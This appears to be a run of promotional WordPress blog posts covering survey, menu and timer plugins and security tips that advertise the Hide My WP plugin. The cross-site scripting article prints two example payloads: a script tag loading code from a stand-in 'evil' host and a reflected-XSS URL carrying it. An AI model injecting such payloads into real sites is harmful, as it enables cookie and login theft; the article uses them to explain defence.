Looking for the Best Questionnaire Plugin for WordPress?

Questionnaires are a great way of gathering valuable information about a particular topic from the respondents. You can ask a mix of close-ended and open-ended questions and offer the respondent to elaborate on their thoughts.

The questionnaire consists of multiple types of questions like Multiple Choice, Multiple Responses, Rating Questions, Likert Scale, Picture Choice Questions, Demographic Questions, etc.

The invention of Questionnaires dates back to the 18th Century at the Statistical Society of London.

The principal reason for the Questionnaires getting so much attention back then was the ability to receive standardized answers making it simple to compile the data.

These questionnaires used questions that were printed or written on a sheet of paper and then used for collecting responses.

Coming back to the 21st Century the idea of Questionnaires still remains the same but the execution has evolved for the better, we no longer just depend on pen and paper to collect user responses but we can now create, collect, share and store questionnaire and the respondent’s data within minutes.

Also Read: Create a Questionnaire In WordPress with the Quiz and Survey Master Plugin

Best Questionnaire Builder Plugin on WordPress

Looking for Questionnaire Plugin for WordPress - Quiz and Survey Master


In WordPress CMS we can make use of WordPress questionnaire builder plugins to get going. One such Questionnaire Plugin is the Quiz and Survey Master Plugin.

It is the Best Free Form Builder Plugin that is Easy to Use, Multipurpose, Fast, Feature-Packed, and Highly Customizable.

The Plugin comes with 15+ Question Types to choose the Best Set of Questions for your Questionnaire. 100+ Customization Options for Extreme Customization and full control over the Questionnaire.

Create Questions with Images and allot points for each question for grading them. You can even set up a Timer for creating Time-based Tests and Exams.

With Quiz and Survey Master you can create an Engaging Questionnaires and allow the users to respond and share the results on various Social Networks.

It is ‘Tried and Tested’ by over 30000+ users and has 800+ 5-Star Ratings on WordPress.org

Also Read: How to add a Timer Individual Pages with Quiz and Survey Master?

Why Choose Quiz and Survey Master Plugin?

Why choose Quiz and Survey Master - Quiz and Survey Master


Easy to Use and Simple to Understand

QSM Dashboard - Looking for Questionnaire Plugin for WordPress

Just as you download the Quiz and Survey Master Plugin you are greeted with the new QSM Dashboard from where you can find the Get Started Section and start creating any Question-Answer form of your choice.

Thereafter choose your preferred Template or Build your own with custom Quiz Settings.

Multiple Question Types

QSM has a total of 15 Question Types and more are in the pipeline. Meaning you have ample options to frame different types of questions appropriately as they should be without giving up on the idea behind it.

QSM has Question Types like:

  • Multiple Choice Questions (Horizontal and Vertical)
  • Short Answer
  • Paragraph
  • Slider
  • Opt-in
  • File Upload
  • Date
  • Text/HTML
  • Number
  • Captcha
  • Fill in the Blank

Add images, sound, videos, to your Questions and customize them with the WordPress Text Editor.

You can even Categorise the Questions and later display results based on the scores earned in each category. Example: Mathematics, Science, General Knowledge, etc. You also have the option to ask Random Questions.

Questions Grading

In Quiz and Survey Master you can grade Questions based on –

  • Points System
  • Correct/Incorrect
  • Both

While creating a new Quiz you will be presented with the above options to Grade your Questionnaire.

If you go for points you can grade questions based on points and allot some points to each question asked. Later, the results will display the number of points earned by the responder

In Correct/Incorrect the question will be graded on the correctness. Again, while setting up the questions you can check the correct answer checkbox to set it as the correct answer. Later, the results will be displayed based on the Number of Correct Answers.

In Both, you can make use of both Points System and Correct/Incorrect System to grade your Questionnaire.

Send Emails after Completing the Test

In Quiz and Survey Master you can easily send custom emails to the Exam Admin and the Examinee too. You can make your own custom email by using the various Template Variables to add specified values to your email.

You also have the option to send conditions, meaning the when a user scores or earns points is greater than, less than, equal to, not equal to, less than or equal to, greater than or equal to the set value then an email is sent depending on the conditions set while configuring the Questionnaire.

Time-Based Tests

In QSM you have the option of adding a Timer to the Quiz or Survey. It is like a Countdown Timer that starts when the user commences the Exams and stops at the specified time.

The Timer will be visible to the user giving the test. Also, if the time is up you can force submit the Test after which the user cannot make any further changes.

If you advanced feature like a Warning to be displayed if 90% time is completed, start the timer only when the user reaches a specified page, Two different Timer Faces, Better Timer UI, Stop Timer Button then you can Purchase the Advanced Timer Addon of QSM.

Unlimited Quizzes/Surveys

Quiz and Survey Master lets you create Unlimited Quizzes, Surveys, and Other Forms all for Free and without any restrictions or limitations on collecting user responses.

You need not pay anything while using the Base QSM Plugin as it is absolutely free to download and use. Whereas, you only need to pay if you want Advanced Premium Addons for Extra Functionality.

Advanced Pro Addons

In QSM you download Free Addons Like Certificates and Leaderboards

Also, It has many Premium Pro Addons like Reporting and Analysis, Google Analytics Tracking, PayPal and Stripe Integration, MailChimp Integration, Google Sheets Integration, Logic, Flash Cards, Drip Integration, Convert Kit Integration, Daily Limit, and many more…

Check all the Addons in Actions on this Addons Demo Page

Quick Support

If while using you get stuck and cannot find the way out or Face some Error you can easily find the solution on the Support Forum. It has an Active Support Forum monitored by Experienced Support Professionals 24×7 for Early Query Resolution.

You’ve got the Updated Documentation for Quick Reference too.

Also Read: How to Make WordPress Secure (For Non-Programmers)

Final Thoughts

You can find the Plugin’s Full Specifications on WordPress or QSM Website

Quiz and Survey Master is capable of much more and can be used for creating Feedback Forms, Online Exams, Customer Satisfaction Surveys, Trivia Quiz, Viral Quizzes, Riddles, Polls, Contact Forms, Personality Quiz, Employee Engagement Surveys, Event Feedback Surveys, Event Planning Surveys, etc.

So, all in all, the QSM Plugin is a Power House and Extremely Useful WordPress Plugin and must be used to create Engaging Questionnaires.

Tips on How to make WordPress Secure (for non-programmers)?

WordPress being an easy to use and flexible Content Management System is popular among the masses especially Content Creators, Artists, Tech Geeks, Businesses, and Professionals.

Being so popular it becomes an obvious target for Scammers, Attackers to carry out various attacks, exploit WordPress vulnerabilities, and to bring down the website and steal confidential/personal data for their own benefit.

Once Stolen the data would make its ways to the dark web, it becomes a very dangerous situation where personal identity is at stake and can be used for illegal purposes across the globe.

If you are a WordPress website owner you probably know what goes behind in running a successful website/business and that when someone unauthorized tries to take control over it. You can’t do much but wait and watch as the support team do their work and try to fix the hacking attempt.

This becomes a serious issue and can’t be ignored, it could happen with anyone and can’t be fully avoided. The least you can do is be prepared with the best defense mechanism and an updated WordPress website with the latest security patches.

Tips To make WordPress Secure

At first, you might be wondering is your WordPress really secure? Well, Yes to some extent! WordPress is prone to security vulnerabilities and is sometimes referred to as a ‘not so safe’ platform for doing business. Though the problem is not always with WordPress.

Most often security is hampered when its users don’t update their WordPress on time, Use of outdated plugins, Using the same passwords in all of their accounts, and not change them frequently, Lack of web security knowledge among non-techie WordPress users is also a major reason of WordPress sites being hacked.

So basically users need to be guided for the best security practices and they must be made aware of the threats of using outdated software on their WordPress website.

Also Read, How to fix Cross Site Scripting Vulnerability in WordPress?

#1 Use the Latest Version of WordPress along with Updated Plugins and Themes

One of the best ways of strengthening WordPress security is by having an updated WordPress website. You must have the latest security updates of the WordPress Core, Plugins, and Themes.

You should not hesitate to update the WordPress as soon as you see An updated version of WordPress is available. message on the admin dashboard. The update brings along the latest security enhancements and bug fixes that are essential for the smooth functioning of your WordPress.

Sadly, most of the businesses will still run on outdated versions of WordPress or with Plugins that are no longer supported and they would have their own sweet reason for not upgrading as it may break their site, or cause some plugins to fail and would cost them huge to further upgrade.

#2 Hide Login Page

Hiding your login page or changing the login path is the easiest way to beef up your WordPress security. Basically you log in to your WordPress with the login URL like mysite.com/wp-admin this being the default WordPress login URL is known by the bots, scripts, and hackers.

This can be an easy target for attackers and will be prone to brute force attacks. One of the best ways to prevent this is by changing the default login URL to some unusual path. Though this does not guarantee to fix the hacking attempts but it can be considered as a trick to prevent it.

To change the default WordPress login URL we recommend using Hide My WP WordPress Plugin in this plugin you can Add a Login Query and a Login Key to the URL without which you cannot enter your WordPress website.

Or Change the Login URL and Add a New wp-admin Path from the Permalinks tab with the Hide My WP Plugin.

How to make WordPress secure (for non-programmer) - Hide WordPress Login URL

This adds an extra layer of security to your WordPress website. With Hide My WP Plugin you can also get notified whenever someone tries to visit the WordPress default login page. You can also hide the website from Theme Detectors like detectmywp.com and hide the fact that you are using a WordPress website.

#3 Hide WordPress Version

Hiding your WordPress version is also an important move to secure your WordPress. The fewer people know about your site’s configuration and systems in use the better it would be. Your website’s source code can act as a welcome sign to attackers and intruders.

Your WordPress version is publically visible on the header section of your site’s code. You have to be technically sound to hide the WordPress version info manually by altering the theme’s functions.php file.

If you have Hide My WP Plugin installed, then you just need to click on the Remove Version option in the plugin and the WordPress version number will be removed from the source code.

Also, you can find the Version number in the default readme.html that is located in the root of your WordPress installation. You can have it removed by deleting the file from mysite.com/readme.html via FTP. If you are on WordPress 5.0 and higher the version number is no longer included in the file.

#4 Install an SSL Certificate and use HTTPS

HTTPS(HyperText Transfer Protocol Secure) is a security mechanism by which the browser or a web application can securely connect to the requested website. You don’t always need to be accepting payments for enabling SSL on your website.

You can have the SSL activated form your hosting provider.

SSL has many benefits and is just not limited to online commerce.

  • HTTPS helps in maintaining a secure connection whereas in HTTP the data is transferred in plain text that can be easily intercepted by any third party over the network.
  • HTTPS helps in ranking the page as google recommends using it and can land you in a better SERP position.
  • HTTPS helps in avoiding browser warnings like the “Not Secure” warning we get on the address bar when visiting sites that do not have HTTPS enabled.
  • Referral data of sites with HTTP is blocked in Google Analytics and there are no restrictions as such on HTTPS.

#5 Use WordPress Security Plugin for Overall Protection

How to make WordPress secure (for non-programmer) - Hide My WP

We would highly recommend using Hide My WP – WordPress Security Plugin as your WordPress Watch Dog.

We can say so because Hide My WP is a ‘tried and tested’ tool by thousands of users over the internet. The plugin protects your site from SQL Injection Attacks, CSRF Attacks, XSS Attacks, Brute Force Attacks, and notifies you with the attacker’s full details.

It has been used by over 27000+ users and is their preferred Security Plugin. Other than just hiding the WordPress from Attackers, Spammers, and Bots. The plugin is capable of intercepting dangerous requests and banning the IPs and patterns detected by the Trust Network Engine.

You can also block requests made from certain countries by blocking their Country Codes and allowing only those you want to provide access to. It is simple to use and doesn’t demand any prerequisite. You can minify HTML and CSS with this plugin and block direct access to PHP files.

To sum it up, it handles the security of your website allowing you to focus on other important things where you will be notified whenever an intrusion attempt occurs and will get it fixed.

Also Read, How to Hide your WordPress theme from Theme Detectors?


Hope you got some insights into what goes behind in running a successful website and how you can prevent your website from the lethal online attacks. To make your WordPress more secure you can frequently change your passwords – use a random and complex password, update the WordPress and Plugins on time and make the use of a Dedicated Security Plugin to handle all the security issues.

How to add a timer on Google Forms?

Want to know how to add a timer on Google Forms? With Google forms, we can only create a form but to add the timer function you need the help of addons.

With Addons we can extend Google Forms to help construct new Surveys, establish connectivity to third-party systems, and integrate forms data with other Google applications like Google Sheets.

In this post, I’ll help you to create an Online Exam with the timer function that can be clubbed easily to Google Forms. Here we are going to make use of the Extended Forms Addon.

Extended Forms is the best alternative to the already existing Timer Addons like Form Timer and Quilgo. Extended Forms has an easy to use interface and offers a countdown timer with a 1-click integration.

How to add a timer on Google Forms

Extended Forms is the best one-stop solution form creating a timed test for google forms, you can create any type of forms and not limited to Employee Feedback, Event Planning, Surveys, Quizzes, Student Feedback Form, Parents Feedback Form, and much much more…

With Extended Forms, you turn your ordinary google form to an exciting online test and collect valuable data from the responders.

Also Read, How to Create a Survey in WordPress?

Here’s How to add a Timer on Google Forms with Extended Forms Addon

  • Goto Extended Forms in G Suite Marketplace.
  • Sign-in with your preferred Google Account and Hit the Install Button.
  • Once installed navigate to the Google Forms

Google Forms - Template gallery- Extended Forms

  • Choose any of the pre-configured forms from the Google form’s Template Gallery or create a new blank form and customize it as per your needs.

Extended Forms - configuring the form

  • If you have installed the Extended Forms Addon correctly, then you must see the Extended Forms in the Addons Menu.
  • Click on the Extended Forms Addon > Configure.
  • The Extended Forms Settings Box Appears on the Bottom Right of the Browser.

Extended Forms - configuring the form settings

  • You can configure most of the settings in the newly opened Settings Box, but to get the full view of the Extended Forms Settings hit the Form Settings Icon shown in the above image.
  • You are taken to a New Tab and with more Extended Form Settings.

Extended Forms Settings

  • You can set the permissions as Public – to give access to all and Invite Only– where only the user with the desired link can access the form.
  • Set the Time Limit, of how long you want the timer to operate and the form to be active, after which the form can’t be edited and the results will be captured. This is how to set a time limit in the google form quiz.
  • Restrict the number of attempts one can have with Restrict Attempts, each user will be provided ‘n’ number of attempts as required.
  • You can change the Form Navigation Menus Background Color to any desired RGB values.
  • Also, You can change the Body Background Color to any desired RGB values. Hit the Save Button, after making the required changes.

Extended Forms-Icons

In the current Extended Form shown above, there are some icons which have the following use:

#1 Form Settings

It Opens Up Form Settings as seen in the previous image.

#2 Send Invitation

You can send an invitation to those who will give the test/take the survey.

Extended Forms - Send Emails

 #3 Preview Form

It provides you with a live preview of the newly created Extended Form

#4 Share Form Link

Clicking on it will automatically copy the form link and you can send it to any of the wilful responders or have it as a hyperlink or use it as a button.

#5 Visit Google Form

Clicking on it will open up the Google Form for which you have configured the Extended Form functions on a new tab.

#6 Transfer Ownership

Extended Forms-Transfer Ownership

With this function, you can transfer the ownership from you to any other person who has access to Extended Forms and has installed the addon and they can share their Extended Form Token.

You can find your Token in Extended Forms > Dashboard > Settings > Token.

Also Read, How to create Quizzes using Quiz Builder Plugin in WordPress?

Below is the final Output where we add a timer on Google Forms and create an Employee Feedback Form using the Extended Forms Addon:

Extended Forms-Google
This is the Pre-Test information displayed to the user specifying the Name of the Test, Name of the Responder, Time Limit of the Test, and the Get Started Button to begin the online test.


Extended Forms-Google Sample Example
This image shows the Extended Forms in action with a Clock Timer above the form notifying the time left for completing the form and There’s a timer even on the Title Text of the Currently used Tab.


Extended Forms-Final Test
This image shows what happens after submitting the form. The responder is acknowledged with a Thank You message denoting the response has been recorded.


Extended forms - Employee Feedback form
Here you can see the Recorded Responses from the Form Responders with their emails, time last attended, time taken to complete the test/form, see the Permissions given to that test/form, and the Time Limit of the Form/Test.


So, this is how you add a timer for google forms and create Online Exams and Tests. So, do download the Extended Forms Addon and create exciting google forms/online exams and share your experience in the comment box below.


How to Create a Survey in WordPress (Step by Step)

Do you want to create a Survey in WordPress? Surveys are the best way to gather feedback and to know your Product/Service much better from the user’s perspective.

You can create efficient reports in the form of Pie Chart, Bar Graph, and Box Plot. You also can collect email addresses using the quizzes and send them to a variety of services like MailChimp, Aweber, ConvertKit, and many more.

The collected data will help you make better decisions and plan for future business ideas or implement certain improvements that will tweak your business and help you generate more income in fact you can do much more than just that!

View a Sample Survey.

Also check, The Best WordPress Survey Plugins of 2020

Why to Create a Survey in WordPress?

How to Create a Survey in WordPress-QSM

Why should we create a Survey in WordPress? Why not any other Survey/Online Form Tool?

The answer is that with WordPress data will be stored in a known Server/Database whereas using any other online tool you don’t know where exactly the data will be stored may be on third-party servers and you may have limited customization options.

Some of these tools/forms also allow just a limited number of responses to collect from users and charge hefty amounts or sometimes bill you the monthly amount for the service.

Whereas, in WordPress, you can make use of Plugins to make Surveys and store the data in your website’s database and have full control over it.

Adding Surveys to WordPress

To create a Survey in WordPress we are going to make use of Quiz and Survey Master. It is the Best Quiz, Exam, and Survey Plugin for WordPress!

Don’t believe us? Quiz and Survey Master has the highest number of Positive Reviews on WordPress.org also says the Statistics.

Create a Survey in WordPress -Quiz and Survey Master Banner

Quiz and Survey Master is easy to use and there is no cap on creating surveys or on user responses; you can create an unlimited number of Quizzes, Surveys, Polls, Exams using the Free Plugin. It is highly customizable and flexible.

Step 1: Download and Install the Plugin

The first step to Create a Survey in WordPress is to Download the Plugin to your WordPress website, Install and Activate it.

Step 2: Create a New Survey

Create a Survey in WordPress - Create New Quiz or Survey - QSM Plugin

After installing the plugin, you will notice a new Quiz and Survey Master Menu on the sidebar of your WordPress admin panel.

Click on it, and Press Create New Quiz/Survey Button on the QSM Dashboard.

A new window appears with Multiple Quiz/Survey Templates, select Survey, and give it a name in the above blank field. Press Create Quiz Button once done.

Step 3: Enter the Questions

Create a Survey in WordPress - Quiz and Survey master - employee satisfaction- Questions Tab-2


After hitting the Create Quiz button, you will be taken to the Questions Tab. Here you can add the Questions of the Survey and their answers.

We have 15 Question Types to choose from, like Multiple Choice, File Upload, Date, Horizontal Multiple Choice, Drop Down, Small Open Answer, Multiple Response, large Open Answer, Text/HTML Section, Number, Accept, Captcha, Horizontal Multiple Response, Fill in the Blank and Polar(Slider).

For this Survey, we have used the Multiple Choice Question Type, if you want to force the user to answer the Question you can tick the Required? Checkbox.

Add the Question Title and Enter the Question in the field also you can add multiple answers pressing Add New Answer button. You can add the Question to a particular category as seen in the above image.

Just like this, you can create unlimited questions of various Question Types, with multiple pages.

The rest of the fields are not mandatory, you can play with them if you want. After making your changes Hit the Save Question Button.

Step 4: Collecting User Details

Create a Survey in WordPress - Collecting user details- QSM Plugin

In the Contact Tab, You can collect details of the user taking the Survey and store them in the Database.

You can collect details like Name, Email Address, Phone Number, Business, etc. and can also display a checkbox for the Terms and Conditions.

Click, Save Contact Fields Button once done.

Step 5: Display a Message to the User

Create a Survey in WordPress - displayig message- QSM Plugin

In the Text Tab, you can display a message to the user in various instances, notably a welcome message before the Survey Starts. You can also display an image or any other media if you want.

And also Customize Labels for Submit Button, Previous Button, etc. Hit the Save Text Message Button once done.

Step 6: Configure the Working

Create a Survey in WordPress - Configuring Options Tab- QSM Plugin

In the Options Tab, you can configure the overall working of the Quiz.

You can enable a progress bar, limit the number of questions per page, set a time limit for survey completion, limit the number of entries, set a Quiz Publish Date, and many more stuff.

Don’t forget to hit the Save Changes button at the end of the Page.

Step 7: Setup Emails with conditions

Create a Survey in WordPress - sending emails- QSM Plugin

In the Emails Tab, you can set up the emails that will be sent to the users to their email id and to the Quiz Admin.

Make use of the Template Variables, to automatically insert the user name, points earned, quiz name, etc. You also can add conditions for when the email should be triggered.

You can send the user’s an acknowledgment email thanking them for taking the Quiz. You can customize it by adding an image or other media to make it more appealing.

Hit the Save Emails button once done.

Step 8: Configure the Results Page

Create a Survey in WordPress - Configuring Results Pages Tab- QSM Plugin

In the Results Pages Tab, you can configure what to display at the results page.

This page is displayed when the user completes the Quiz. You can customize the contents by adding images and other media.

With the help of Template Variables, you can make it more informative. Like the Emails Tab, here too you can add conditions for when the Results should be displayed and to whom.

Add some stuff as in the image, and hit the Save Results Pages button once done.

Step 9: Styling the Survey

Create a Survey in WordPress - Configuring Styles Tab- QSM Plugin

In the Last Style Tab, you can change the appearance by using various styles.

If you want, you also can add custom CSS style in the blank field to match it with your website. Once done, hit the Save Quiz Style Buton.

Step 10: Ready to Roll

Create a Survey in WordPress- Copy Shortcode- QSM Plugin

After completing all the steps, now is the time to display the Quiz.

You can run the Quiz directly by pressing the Open Link Icon beside the Quiz Name above all the tabs.

Or, Open Quizzes/Surveys Menu from the Quiz and Survey Master Plugin Menu on the Dashboard. Here you will get all the Quizzes/Surveys that you’ve made along with the Shortcode and link.

Copy the shortcode link and paste in the website’s page and it’s done.


Here’s how to Create a Survey in WordPress. The Process remains the same for making Quizzes, Exams, and Polls with just minor adjustments.

Also, check out How to create an Online Exam or Quiz during Covid-19.

Hope you like it, tell us what you made out of this amazing plugin. Thanks!

How to create WordPress Hamburger Menu for Desktop?

Want to create an awesome looking WordPress Hamburger Menu for Desktop? Hamburger Navigation Menu is a compact navigation style with three horizontal lines that you see on most of the Professional looking websites.

Most of the websites nowadays have a Hamburger Menu set-up. It not only looks cool and modern but makes the website look clean, professional, eases navigation within the site, but lets you stuff more menus inside it giving a minimalist look.

With the WordPress Hamburger Menu in place, the user won’t struggle to navigate to the desired menu. The WordPress Hamburger Menu is mostly positioned on the Top-Left or Top-Right of the screen.

Also, check the Comparison of Responsive Mobile Menus for WordPress.

Why to use a WordPress Hamburger Menu in 2020?

Thanks to Norm Cox the inventor of the Hamburger Icon it’s now become a go-to solution for navigation on web and mobile applications.

Let’s admit! WordPress Hamburger Menu is a Space Saver. It’s a button menu in websites, that once clicked opens up a Slide Menu or a Navigation Drawer with fancy and mesmerizing animations.

As of today, we need our WordPress websites to look less congestive and user friendly that is possible with Hamburger Menu whereas the traditional navigation menu bar takes an ample amount of space which thereby could’ve been utilized for other things.

Creating a WordPress Hamburger Menu for Desktop

create WordPress Hamburger Menu for Desktop - Responvie Menu Plugin

To create a WordPress Hamburger Menu we are going to make use of a WordPress plugin called Responsive Menu.

It is the most downloaded Hamburger Menu Plugin on WordPress.org. No coding knowledge is required to set-up this plugin.

Responsive Menu is a highly customizable WordPress Hamburger Menu Plugin that is responsive i.e. works across devices with varied screen sizes and easy to use.

With Responsive Menu Pro, you can not only customize the Desktop Menu but the Mobile Menu too. You get the Mega Menu functionality and much more than that with this plugin.

Step 1: Download Responsive Menu Pro

To get the Desktop Menu Functionality working you need to buy the Responsive Menu Pro, install it on your WordPress website. And, Activate It.

Step 2: Initial Setup

Intitial Setup - create WordPress Hamburger Menu for Desktop - Responsive Menu Plugin

After installing the plugin you will notice a new Responsive Menu Pro Menu in the admin sidebar. Click on it, and head on to the Initial Setup in the Desktop Menu Tab.

Enable the Desktop Menu, and Below it enter the CSS Selector [For example #nav-menu, nav, .other-nav] of the Original Menu which you would like to hide and replace it with the WordPress Hamburger Menu.

Step 3: Settings and General Setup

Settings and General Setup - create WordPress Hamburger Menu for Desktop - Responsive Menu Plugin

After you’ve successfully hidden the Original Menu, you now have to adjust the Menu Type, Item Width and enter the Submenu Panel Maximum Width.

If you like the default settings then Keep it untouched and move to the General Setup.

In General Setup you can adjust the positioning of the Desktop Menu, You can alter the Width of the Desktop Menu that suits your Website or keep blank to let it auto-adjust.

You can set the Side, of where you would like the Menu to appear on.

You can enable the “Open Sub Menu Items On Click” option to open Mega Menu/Standard Menu Items on Click, by default it will open on mouse hover.

You can also give the Animation Effect for the Desktop Menu like Fade, Fade Up, Slide Down and Slide Up and adjust speed from 100ms to 1000ms.

Step 4: Top Level and Sub Menu Link Colouring

Top Level and Sub Menu Link Colouring - create WordPress Hamburger Menu for Desktop - Responsive Menu Plugin

You can set-up the Top Level Link Colours and Sub-Menu Link Colours to adjust them according to the website theme.

Set the Background Colour, Background Hover Colour, Text Colour, and Text Hover Colour with Hex and RGBA Colour Palette.

Step 5: Top Level and Sub Menu Styling

Top Level and Sub Menu Styling- create WordPress Hamburger Menu for Desktop - Responsive Menu Plugin

Here you can style the font to be used on the WordPress Hamburger Menu.

You can set the font for the Menu/Sub Menu Items, the font must already be installed as part of your website’s theme or choose from inbuilt browser font.

Adjust the Font Size, Height, and Line Height for Menu/Sub Menu Items in the form of px, %, em, rem, vw, and vh.

After making the required changes save the configuration by hitting the Update Options button and preview the recent changes with Preview Changes Button.

Final Thoughts

Implementing these steps would surely make the website navigation easy to use and also help you save some frustrated customers.

Also, check out if you’re interested to make the menu look like the one on this website!

Tell us what you think about the WordPress hamburger Menu in the comment box below, Thanks!

How to Fix Cross Site Scripting Vulnerability in WordPress

Want to know how you can Fix Cross Site Scripting Vulnerability in WordPress site and obviate future XSS attacks?

Stay connected, Here we discuss what exactly is an XSS attack, how it affects your WordPress website, its consequences, and how to prevent your WordPress site from its misadventures.

Also, upgrade the overall security of your website.

What is XSS and Cross-Site Scripting?

Cross-Site Scripting a.k.a XSS are one and the same. It’s a web application security vulnerability affecting Web Applications.

In this, the attacker tries to inject malicious code into vulnerable websites wherein once the code is successfully injected and executed it tries to steal user data in the form of session cookies which are stored in your browser and sends it to the attacker.

Once, the attacker has the cookie information he can further steal login credentials, private data and can cause massive damage to your website as well as to the user accessing your website.

How XSS Attack Works?

Fix Cross Site Scripting Vulnerability in WordPress - How XSS attack works?

Basically, Cross-site scripting is a type of hack attack directed on the WordPress Website, it’s executed in two ways:

1. By Exploiting User Inputs

It exploits user inputs by directing attacks on user input fields like the Comment Box, Site Search field, Contact Form, etc. by inserting malicious Script/Code into the website.

These fields are designed to take user inputs in the form of texts and numbers but are not monitored/reviewed for any malicious scripts. Hackers take advantage of this and enter their script which may somewhat look like

<script src="http://donotenter/theevilscript.js"></script>

These scripts are sent to the website database and are later executed by the hackers for malicious activities.

2. Bypassing Same Original Policies(SOP)

SOPs are some security measures that forbid one webpage from accessing information of other webpages from your web browser. Meaning no cross-site requests made.

Despite the SOPs in place, hackers have found other ways to access this information with the help of using session cookies.

As you might know, browsers store session cookies to keep you logged in to your previously visited websites to save you from the hassle of logging in every time you visit different web-pages.

Besides login credentials, cookies also store other information like shopping preferences, personal and banking data.

How XSS vulnerability affect your website?

Fix Cross Site Scripting Vulnerability in WordPress - Hide My WP-Security plugin

Primarily there are two types of XSS attacks carried any WordPress website.

1. Persistent XSS Attack / Stored Attack

This type of attack affects the visitors visiting your website. The attacker first scans your site and looks for vulnerabilities by using automated tools.

Once they find their target they inject their script into one of the user input fields and it goes undetected as there is no mechanism to scan and detect for it in the first place!

Later when a visitor visits your website and views the page which has the attacker’s code in it, the code gets executed and it steals their browser cookies.

Using these cookies the attacker can steal the user’s sensitive information and can get his hands on the usernames and passwords of the user’s visited sites.

The attacker can also hack into your email and send phishing emails to your online contacts.

2. Non-Persistent XSS Attack / Reflective Attack

In this attack, hackers infect your website directly. As you the site-owner too frequently visit multiple websites including your own website. Hackers might send you malicious links via. email or a link to other infected sites.

As you convincingly click on the link it causes the script to load on your website from an external site. It may somewhat look like

https://adamsblog.com/test.php?val=<script src="http://donotenter/theevilscript.js"></script>

As the script executes it steals your browser cookies and hackers enact you and pose as you’ve entered into your administrator account of your WordPress site.

As they gain access they can steal login credentials and sensitive site data and can lock you out of your own website.

There are many ways in which they can damage your site and your business leading to financial losses.

How to Fix Cross Site Scripting Vulnerability in WordPress

Fix Cross Site Scripting Vulnerability in WordPress

There are many ways in which you can do protect your website from the XSS Stored Attacks.

If you have technical expertise and are familiar with your website’s internal working you can add code to your website’s user input fields to monitor and sanitize the data that’s being sent to the database or hire an expert for the same.

The Best way to Fix Cross Site Scripting Vulnerability in WordPress is with the use of a Security Plugin.

Fix Cross Site Scripting Vulnerability in WordPress with Hide My WP WordPress Security Plugin

Hide My WP is the Best WordPress Security plugin to Fix Cross Site Scripting Vulnerability in WordPress site, Hide My WP hides your WordPress form attackers, theme detectors, and Spammers.

Hide My WP has a Smart Intrusion Detection System(WordPress Firewall) that automatically blocks lethal attacks like XSS and SQL Injection, Command Injection, etc.

And, works to Fix Cross Site Scripting Vulnerability in WordPress website.

Fix Cross Site Scripting Vulnerability in WordPress - HIde My Wp Lite


This security plugin works by hiding the common paths like /wp-login.php and /wp-admin and replaces all instances of WordPress thereby hiding the fact that your website runs on WordPress. It also disables Direct PHP access.

It has a trust network that detects and protects from new attack patterns, it maintains a dynamic list of bad IP addresses.

You can download Free XSS Vulnerability Plugin. Hide My WP is actively popular on security plugin with over 27000+ satisfied customers and is regularly updated to keep up with the latest security patches.

If you enjoyed trying the Free Lite Version, you can buy its license for $29 for your site with Advanced Security Features and 24/7 Support.


Before we conclude here are some tips to keep your website secure and free from Cross Site Scripting Vulnerability.

  • Keep your WordPress site updated –  As new and new vulnerabilities are detected and security patches rolled out from the WordPress team, you should be quick in updating your site with those latest releases. Outdated WordPress software can be a security nightmare for your site and can bring an easy target to the attacker.
  • Always Keep a WordPress Security Plugin –  Even if your site comes under attack the Security plugin will Fix Cross Site Scripting Vulnerability in WordPress step up and prevent it from causing any further damage to your site.
  • Take Frequent Backups –  If your website is under attack and you have a recent backup of your site, it will help to restore your site back to the normal state.

Hope these steps help you in keeping your website safe from XSS attacks and help you Fix Cross Site Scripting Vulnerability in WordPress site. Thanks for your time!

4 Easy Steps to Adding a Mobile Menu for WordPress Site

Do you want to create a Responsive Mobile Menu for WordPress site? Taking the recent developments in mind, There are around 5.16 billion unique mobile phone users in the world today. And this figure is growing rapidly.

In all this scenario are you prepared and have the capacity to serve your audience using just mobile devices. Is your website’s menu easily accessible for mobile users? If not then there’s no need to worry. We will look into how can we easily create a Responsive Mobile Menu for your WordPress site that will be easily accessible across devices. Without any coding!

Why we need a Mobile Menu for WordPress?

It’s not just about Mobile Users but others too. There are various other devices from which users can access our website. So, we need to make our website robust and convenient enough to handle various screen sizes. And that too without losing consistency and across devices. Responsive Mobile Menu makes it easier for users to navigate their way through the website.

Mobile Menu for WordPress

Here we are going to make use of a WordPress Plugin called Responsive Menu. Responsive menu is a Highly customizable Responsive Menu Plugin for WordPress. It works with any device be it Mobile Phone, Tablet, or a Computer.

It has over 150 customizable options that you get with a combination of 22,500 options! No coding experience or knowledge is required. It has an easy to use interface. You can start creating what and can get it looked exactly as needed without any fuss.

Check out this Live Responsive Menu Demo  to have an understanding of what it actually does.

Step 1: Download the Responsive Mobile Menu for WordPress Plugin

So, to begin with, first, you need to download and install the plugin. To download the Plugin Click Here. Once downloaded login to the WordPress Admin Panel and go to Plugins Menu > Add New > Upload Plugin > Browse > Select the Plugin from the downloaded path and hit Install Now.

Step 2: Activate the Responsive Mobile Menu for WordPress Plugin

Once installed get it activated, by clicking on the ‘Activate‘ button in the Plugins menu. Once done, you will notice a new menu item labeled ‘Responsive Menu‘ is added to your WordPress admin panel. Click on the ‘Responsive Menu‘ and you will be presented with the Plugin’s Settings page called ‘Initial Setup’.

Step 3: Configuring the Responsive Mobile Menu for WordPress Plugin

First, you need to enter the width of the screen in pixels at which point you would like the plugin to start showing the hamburger button. By default, its value is set to 8000px you can change to whatever value you like.

Next, you need to select what menu you want to show, click on the drop-down of ‘Menu to Use‘, and select your menu. If there are no options appearing you need to make sure you have created the menus under Appearance > Menus or to create one Click Here.

The last option is to provide the CSS class to hide your current non-responsive theme menu. This is needed to hide the non-responsive menu from appearing in smaller Mobile Devices and replacing it with the new Responsive Menu.

Like this, there are various other customization options available in the Responsive Menu to beautify and enhance the appearance of the Responsive Menu across devices.

Step 4. Save and Watch the Responsive Mobile Menu for WordPress in Action

After making all the required customizations don’t forget to hit the Update Options button. And watch the Responsive Menu in action.

If you want further Advanced customizations like Header Bar, Desktop & Mega Menu, 15+ Button Animations, Keyboard Shortcuts, Preview Changes, Touch gestures, Icon Support, Colour Opacity and more then you can purchase the license based on your requirements.

 Check the Responsive Menu Pro Pricing

Still not tried Responsive Menu yet? Here’s a Quick Comparison of Responsive Mobile Menus for WordPress.

The Best WordPress Survey Plugins for 2020

Looking for the Best WordPress Survey Plugin? Want to add a Survey to your WordPress site? Then make sure it is the best in class. Stay tuned we will discuss some of the best free Plugins.

